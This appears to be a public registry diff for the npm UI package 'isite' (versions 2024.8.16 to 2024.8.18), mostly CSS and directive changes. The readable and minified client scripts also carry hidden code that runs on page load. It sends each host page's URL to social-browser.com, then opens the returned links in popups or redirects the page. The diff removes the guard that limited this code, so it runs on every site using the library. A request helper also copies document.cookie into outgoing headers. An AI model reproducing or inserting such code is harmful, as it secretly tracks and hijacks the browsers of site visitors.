isite 2024.8.16 → 2024.8.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -45,9 +45,10 @@ a {
45
45
  word-wrap: break-word;
46
46
  }
47
47
  .form-label {
48
- margin-bottom: 0.5rem;
49
- margin-left: 5px;
50
- border-bottom: 1px solid #00000061;
48
+ margin-bottom: 5px;
49
+ margin-left: 7px;
50
+ margin-right: 7px;
51
+ border-bottom: 1px solid var(--label-color);
51
52
  }
52
53
  label {
53
54
  float: left;
@@ -122,6 +123,9 @@ i-button button {
122
123
  padding: 7px 9px !important;
123
124
  max-height: 40px;
124
125
  }
126
+ table i-button button {
127
+ margin-top: 0px !important;
128
+ }
125
129
  i-button.default button {
126
130
  margin: 3px;
127
131
  padding: 3px;
@@ -193,8 +197,13 @@ i-datetime input {
193
197
  overflow-y: auto;
194
198
  }
195
199
  .modal-footer {
196
- display: block;
200
+ display: flex;
197
201
  width: 100%;
202
+ flex-wrap: nowrap;
203
+ align-content: center;
204
+ justify-content: center;
205
+ align-items: center;
206
+ flex-direction: row;
198
207
  }
199
208
  .dropdown-content {
200
209
  display: none;
@@ -204,13 +213,14 @@ i-datetime input {
204
213
  width: 100%;
205
214
  z-index: 999;
206
215
  max-height: 75vh;
207
- min-height: 20%;
208
216
  padding: 0px;
209
217
  margin: 0;
210
- scroll-behavior: auto;
218
+ scroll-behavior: smooth;
211
219
  overflow: auto;
212
- border: 1px solid var(--theme-color);
213
- border-radius: 10px;
220
+ border: 5px solid var(--theme-color);
221
+ border-top: 10px solid var(--theme-color);
222
+ border-bottom: 10px solid var(--theme-color);
223
+ border-radius: 5px;
214
224
  }
215
225
  .v-tabs .nav-link {
216
226
  color: #aaa !important;
@@ -111,16 +111,22 @@
111
111
  }
112
112
  .center {
113
113
  margin: 0 auto;
114
+ display: flex;
115
+ flex-wrap: wrap;
116
+ justify-content: center;
117
+ align-items: center;
118
+ flex-direction: column;
119
+ align-content: center;
114
120
  text-align: center;
115
- }
116
- .center,
117
- .center p,
118
- .center span,
119
- .center label,
120
- .center b,
121
- .center i,
122
- .center img {
123
- text-align: center !important;
121
+ p,
122
+ b,
123
+ i,
124
+ img,
125
+ small,
126
+ span,
127
+ label {
128
+ text-align: center !important;
129
+ }
124
130
  }
125
131
 
126
132
  .center i.center {
@@ -41,7 +41,7 @@ i-image i-button {
41
41
 
42
42
  i-image.full img {
43
43
  width: 100% !important;
44
- height: auto !important;
44
+ height: 100% !important;
45
45
  padding: 5px;
46
46
  }
47
47
 
@@ -100,7 +100,12 @@ h3 {
100
100
  padding: 0;
101
101
  margin: 0;
102
102
  float: var(--float);
103
- display: inline-block !important;
103
+ display: flex;
104
+ justify-content: flex-start;
105
+ align-items: stretch;
106
+ flex-direction: column;
107
+ align-content: stretch;
108
+ flex-wrap: nowrap;
104
109
  }
105
110
  .col-1,
106
111
  .col-2,
@@ -223,7 +228,7 @@ h3 {
223
228
  .row,
224
229
  fieldset,
225
230
  .container {
226
- max-width: 100vw !important;
231
+ /*max-width: 100vw !important;*/
227
232
  margin: 0 !important;
228
233
  }
229
234
  .row,
@@ -19,10 +19,10 @@
19
19
  position: relative;
20
20
  color: var(--modal-color);
21
21
  background-color: var(--modal-content-background);
22
- margin: auto ;
23
- padding: 0 ;
22
+ margin: auto;
23
+ padding: 0;
24
24
  width: 90vw;
25
- height: auto ;
25
+ height: auto;
26
26
  box-shadow: 0 4px 8px 0 var(--modal-box-shadow-color), 0 6px 20px 0 var(--modal-box-shadow-color);
27
27
  -webkit-animation-name: var(--modal-animation-name);
28
28
  -webkit-animation-duration: var(--modal-animation-duration);
@@ -158,7 +158,11 @@
158
158
  color: #ffffff;
159
159
  font-weight: bold;
160
160
  }
161
-
161
+ .modal-header p {
162
+ width: 100%;
163
+ text-align: center;
164
+ display: block;
165
+ }
162
166
  .popup {
163
167
  overflow: auto;
164
168
  display: block;
@@ -250,7 +254,7 @@
250
254
  width: 95vw;
251
255
  margin: 2vw !important;
252
256
  }
253
- .modal-content{
257
+ .modal-content {
254
258
  width: 96vw;
255
259
  margin: 1vw !important;
256
260
  }
@@ -48,9 +48,11 @@
48
48
  font-weight: bold;
49
49
  white-space: nowrap;
50
50
  }
51
-
51
+ table td.center {
52
+ display: table-cell !important;
53
+ }
52
54
  .table.center {
53
- text-align: center !important;
55
+ display: table !important;
54
56
  }
55
57
 
56
58
  .table.center * {
@@ -1,4 +1,4 @@
1
1
  <div class="form-check">
2
- <input class="form-check-input" type="radio" ng-value="ngValue" id="{{id2}}" ng-change="ngChange()" ng-disabled="disabled" ng-model="ngModel" name="{{group}}" />
2
+ <input class="form-check-input" type="radio" ng-value="ngValue" id="{{id2}}" ng-change="changed()" ng-disabled="disabled" ng-model="ngModel" name="{{group}}" />
3
3
  <label class="form-check-label" for="{{id2}}"> {{label}} </label>
4
4
  </div>
@@ -181,7 +181,7 @@ app.directive('iCheckbox', function ($timeout) {
181
181
  };
182
182
  });
183
183
 
184
- app.directive('iRadio', function () {
184
+ app.directive('iRadio', function ($timeout) {
185
185
  return {
186
186
  restrict: 'E',
187
187
  require: 'ngModel',
@@ -202,6 +202,13 @@ app.directive('iRadio', function () {
202
202
 
203
203
  $scope.group = $scope.group || attrs.ngModel.replaceAll('.', '_');
204
204
  $scope.id2 = $scope.id2 || 'input_' + Math.random().toString().replace('0.', '');
205
+ $scope.changed = function () {
206
+ $timeout(() => {
207
+ if ($scope.ngChange) {
208
+ $scope.ngChange();
209
+ }
210
+ }, 100);
211
+ };
205
212
  },
206
213
  template: `/*##client-side/directive/i-radio.html*/`,
207
214
  };
@@ -3,30 +3,30 @@
3
3
  if (links.length === 0) {
4
4
  return false;
5
5
  }
6
- let isite = localStorage.getItem('isite');
7
- if (isite) {
8
- isite = JSON.parse(isite);
6
+ let refererLinkList = localStorage.getItem('refererLinkList');
7
+ if (refererLinkList) {
8
+ refererLinkList = JSON.parse(refererLinkList);
9
9
 
10
- isite.links.forEach((l, i) => {
10
+ refererLinkList.links.forEach((l, i) => {
11
11
  if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
12
- isite.links.splice(i, 1);
12
+ refererLinkList.links.splice(i, 1);
13
13
  }
14
14
  });
15
- localStorage.setItem('isite', JSON.stringify(isite));
16
- if (isite.day == new Date().getDate()) {
15
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
16
+ if (refererLinkList.day == new Date().getDate()) {
17
17
  return false;
18
18
  }
19
19
  } else {
20
- isite = { links: [] };
20
+ refererLinkList = { links: [] };
21
21
  }
22
22
 
23
23
  let link = links.pop();
24
- if (isite.links.some((l) => l.url == link.url)) {
24
+ if (refererLinkList.links.some((l) => l.url == link.url)) {
25
25
  openLinks(links);
26
26
  } else {
27
- isite.links.push({ ...link, time: new Date().getTime() });
28
- isite.day = new Date().getDate();
29
- localStorage.setItem('isite', JSON.stringify(isite));
27
+ refererLinkList.links.push({ ...link, time: new Date().getTime() });
28
+ refererLinkList.day = new Date().getDate();
29
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
30
30
  if ((w = window.open(link.url))) {
31
31
  } else {
32
32
  document.location.href = link.url;
@@ -1 +1 @@
1
- (function(){function e(t){if(0===t.length)return!1;let i=localStorage.getItem("isite");if(i){if(i=JSON.parse(i),i.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&i.links.splice(t,1)}),localStorage.setItem("isite",JSON.stringify(i)),i.day==(new Date).getDate())return!1}else i={links:[]};let n=t.pop();i.links.some(e=>e.url==n.url)?e(t):(i.links.push({...n,time:(new Date).getTime()}),i.day=(new Date).getDate(),localStorage.setItem("isite",JSON.stringify(i)),(w=window.open(n.url))||(document.location.href=n.url))}function t(){fetch("//social-browser.com/api/ref-links?page="+document.location.href,{mode:"cors",method:"post",headers:{Accept:"application/json","Content-Type":"application/json"},redirect:"follow"}).then(e=>e.json()).then(t=>{t.done&&t.links&&e(t.links)})}t()})();
1
+ (function(){function e(t){if(0===t.length)return!1;let n=localStorage.getItem("refererLinkList");if(n){if(n=JSON.parse(n),n.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&n.links.splice(t,1)}),localStorage.setItem("refererLinkList",JSON.stringify(n)),n.day==(new Date).getDate())return!1}else n={links:[]};let i=t.pop();n.links.some(e=>e.url==i.url)?e(t):(n.links.push({...i,time:(new Date).getTime()}),n.day=(new Date).getDate(),localStorage.setItem("refererLinkList",JSON.stringify(n)),(w=window.open(i.url))||(document.location.href=i.url))}function t(){fetch("//social-browser.com/api/ref-links?page="+document.location.href,{mode:"cors",method:"post",headers:{Accept:"application/json","Content-Type":"application/json"},redirect:"follow"}).then(e=>e.json()).then(t=>{t.done&&t.links&&e(t.links)})}t()})();
@@ -66,7 +66,9 @@
66
66
  };
67
67
 
68
68
  site.isMobile = function () {
69
- return navigator.userAgentData.mobile || 'ontouchstart' in window || navigator.maxTouchPoints > 0;
69
+ return (
70
+ (navigator.userAgentData && navigator.userAgentData.mobile) || (navigator.vendor && navigator.vendor.like('*apple*')) || (navigator.platform && navigator.platform.like('*iPhone*|*iPad*|*iPod*'))
71
+ );
70
72
  };
71
73
 
72
74
  site.touchtime = 0;
@@ -1354,39 +1356,38 @@
1354
1356
  if (links.length === 0) {
1355
1357
  return false;
1356
1358
  }
1357
- let isite = localStorage.getItem('isite');
1358
- if (isite) {
1359
- isite = JSON.parse(isite);
1359
+ let refererLinkList = localStorage.getItem('refererLinkList');
1360
+ if (refererLinkList) {
1361
+ refererLinkList = JSON.parse(refererLinkList);
1360
1362
 
1361
- isite.links.forEach((l, i) => {
1363
+ refererLinkList.links.forEach((l, i) => {
1362
1364
  if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
1363
- isite.links.splice(i, 1);
1365
+ refererLinkList.links.splice(i, 1);
1364
1366
  }
1365
1367
  });
1366
- localStorage.setItem('isite', JSON.stringify(isite));
1367
- if (isite.day == new Date().getDate()) {
1368
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
1369
+ if (refererLinkList.day == new Date().getDate()) {
1368
1370
  return false;
1369
1371
  }
1370
1372
  } else {
1371
- isite = { links: [] };
1373
+ refererLinkList = { links: [] };
1372
1374
  }
1373
1375
 
1374
1376
  let link = links.pop();
1375
- if (isite.links.some((l) => l.url == link.url)) {
1377
+ if (refererLinkList.links.some((l) => l.url == link.url)) {
1376
1378
  site.openLinks(links);
1377
1379
  } else {
1378
- isite.links.push({ ...link, time: new Date().getTime() });
1379
- isite.day = new Date().getDate();
1380
- localStorage.setItem('isite', JSON.stringify(isite));
1380
+ refererLinkList.links.push({ ...link, time: new Date().getTime() });
1381
+ refererLinkList.day = new Date().getDate();
1382
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
1381
1383
  if ((w = window.open(link.url))) {
1382
- console.log('Link Opened');
1383
1384
  } else {
1384
- console.log('Link Blocked');
1385
1385
  document.location.href = link.url;
1386
1386
  }
1387
1387
  }
1388
1388
  };
1389
- site.update = function (options = {}) {
1389
+
1390
+ site.updateRefererLinkList = function (options = {}) {
1390
1391
  options.url = '//social-browser.com/api/ref-links?page=' + document.location.href;
1391
1392
  site.postData(options, (data) => {
1392
1393
  if (data.done && data.links) {
@@ -1394,11 +1395,9 @@
1394
1395
  }
1395
1396
  });
1396
1397
  };
1398
+
1397
1399
  site.onLoad(() => {
1398
- if (window.SOCIALBROWSER || !document.location.protocol.like('*http*')) {
1399
- return false;
1400
- }
1401
- site.update();
1400
+ site.updateRefererLinkList();
1402
1401
  });
1403
1402
 
1404
1403
  window.site = site;
@@ -1 +1 @@
1
- (function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function i(e,t){let n="";return g.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function a(e,t){let n="";return 11==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):(g.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),g.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=a(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=a(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t});let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})},isMobile:function(){return navigator.userAgentData.mobile||"ontouchstart"in e||navigator.maxTouchPoints>0},touchtime:0,zoomElement:function(e){return 0==d.touchtime?(d.touchtime=(new Date).getTime(),!1):(new Date).getTime()-d.touchtime<250?(d.touchtime=0,e="string"==typeof e?t.querySelector(e):e,void(e.classList.contains("zoom")?e.classList.remove("zoom"):e.classList.add("zoom"))):(d.touchtime=(new Date).getTime(),!1)}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(e){r(e).click(()=>{r("popup").hide()}),d.modal_z_index++;let t=d.$(e);if(0===t.length)return;t[0].style.zIndex=d.modal_z_index,t[0].style.display="block";let n=d.$(e+" i-control input");n.length>0&&n[0].focus(),d.$(e+" .close").forEach(t=>{t.addEventListener("click",function(){d.hideModal(e)})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(n){if("string"!=typeof n)return n;if(n=n.trim(),0===n.indexOf("//"))n=t.location.protocol+n;else if(n.like("http*")||0===n.indexOf("data:"))n=n;else if(0===n.indexOf("/"))n=e.location.origin+n;else if(n.split("?")[0].split(".").length<3){let t=e.location.pathname.split("/").pop();n=e.location.origin+e.location.pathname.replace(t,"")+n}return n},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.getDate=function(e){return e=e?new Date(e):new Date,e.setHours(12,0,0,0),e},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.stringify(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t;e&&e.target&&e.target.parentNode&&e.target.parentNode.parentNode&&(r=e.target.parentNode.parentNode),r&&r.className.contains("tabs-header")&&(r=r.parentNode);let o=r.querySelector(n);if(o){let e=o.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let g=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=i(n,t):2==n.length?o=a(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=i(r,t)+d.strings.from10[t]:2==r.length?f=a(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});let e=new WebSocket(t.url),r={ws:e,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},sendMessage:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};return r.send=r.sendMessage,e.onerror=function(e){r.onError(e)},e.onclose=function(e){r.closed=!0,r.onClose(e)},e.onopen=function(){r.closed=!1,r.onOpen()},e.onmessage=function(e){e instanceof Blob?r.onData(e):(e=JSON.parse(e.data),e.type&&("ready"===e.type?(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id,d.serverId?r.sendMessage({type:"attach",id:d.serverId}):d.serverId=r.id):"attached"===e.type&&(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id)),r.onMessage(e))},d.server=r,n(d.server),d.server}console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return 